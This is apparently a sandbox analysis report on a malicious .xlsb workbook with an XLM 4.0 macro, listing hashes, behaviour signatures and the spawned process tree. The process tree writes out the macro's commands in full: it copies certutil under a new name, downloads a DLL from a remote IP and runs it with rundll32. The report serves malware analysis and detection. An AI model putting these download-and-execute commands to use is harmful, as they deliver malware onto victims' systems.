Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-02-2024 06:13

General

  • Target

    ade047b047a762846f7df54eed3dd90a.xlsb

  • Size

    157KB

  • MD5

    ade047b047a762846f7df54eed3dd90a

  • SHA1

    d14e19640dbed65b96ce6a3881261f5fb9335874

  • SHA256

    42ee070ac0de1e32e2f436764560c31655f0e81aeb2f842a895cca3405fb2c7f

  • SHA512

    6fde7aface8e173641a4a8519a7f3095b01417a470508ab5506f3843b93656b1cd7449e31c537e159ae863c9baea4a7a6de6b9c8a710cee35c289d5b42e3b0fc

  • SSDEEP

    3072:TALCFzv4iOuXHPoDIniT5gg8JiaFpSA+gyLe:TLzFrHA8ez8rSA+ry

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Executes dropped EXE 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ade047b047a762846f7df54eed3dd90a.xlsb"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir %programdata%\vWJpojwO && copy /b %SystemRoot%\System32\c*tutil.exe c:\programdata\vWJpojwO\vWJpojwO.exe
      2⤵
      • Process spawned unexpected child process
      PID:2892
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c c:\programdata\vWJpojwO\vWJpojwO.exe -urlcache -f -split http://141.136.0.170 c:\programdata\vWJpojwO\vWJpojwO.dll
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2268
      • \??\c:\programdata\vWJpojwO\vWJpojwO.exe
        c:\programdata\vWJpojwO\vWJpojwO.exe -urlcache -f -split http://141.136.0.170 c:\programdata\vWJpojwO\vWJpojwO.dll
        3⤵
        • Executes dropped EXE
        PID:3548
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\vWJpojwO\vWJpojwO.dll,GlobalOut
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Windows\system32\rundll32.exe
        rundll32 C:\ProgramData\vWJpojwO\vWJpojwO.dll,GlobalOut
        3⤵
          PID:4200

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\vWJpojwO\vWJpojwO.exe

      Filesize

      1.6MB

      MD5

      bd8d9943a9b1def98eb83e0fa48796c2

      SHA1

      70e89852f023ab7cde0173eda1208dbb580f1e4f

      SHA256

      8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

      SHA512

      95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

    • memory/2852-20-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-9-0x00007FFC715B0000-0x00007FFC715C0000-memory.dmp

      Filesize

      64KB

    • memory/2852-4-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-21-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-5-0x00007FFC73910000-0x00007FFC73920000-memory.dmp

      Filesize

      64KB

    • memory/2852-23-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-7-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-22-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-10-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-11-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-12-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-8-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-13-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-14-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-15-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-17-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-18-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-16-0x00007FFC715B0000-0x00007FFC715C0000-memory.dmp

      Filesize

      64KB

    • memory/2852-19-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-0-0x00007FFC73910000-0x00007FFC73920000-memory.dmp

      Filesize

      64KB

    • memory/2852-3-0x00007FFC73910000-0x00007FFC73920000-memory.dmp

      Filesize

      64KB

    • memory/2852-2-0x00007FFC73910000-0x00007FFC73920000-memory.dmp

      Filesize

      64KB

    • memory/2852-6-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-36-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-38-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-39-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-40-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-41-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-44-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-45-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-47-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-1-0x00007FFC73910000-0x00007FFC73920000-memory.dmp

      Filesize

      64KB

    • memory/2852-51-0x00007FFCB3890000-0x00007FFCB3A85000-memory.dmp

      Filesize

      2.0MB

    • memory/2852-52-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-53-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-54-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-55-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-56-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-57-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-58-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB

    • memory/2852-61-0x0000012531330000-0x0000012531B30000-memory.dmp

      Filesize

      8.0MB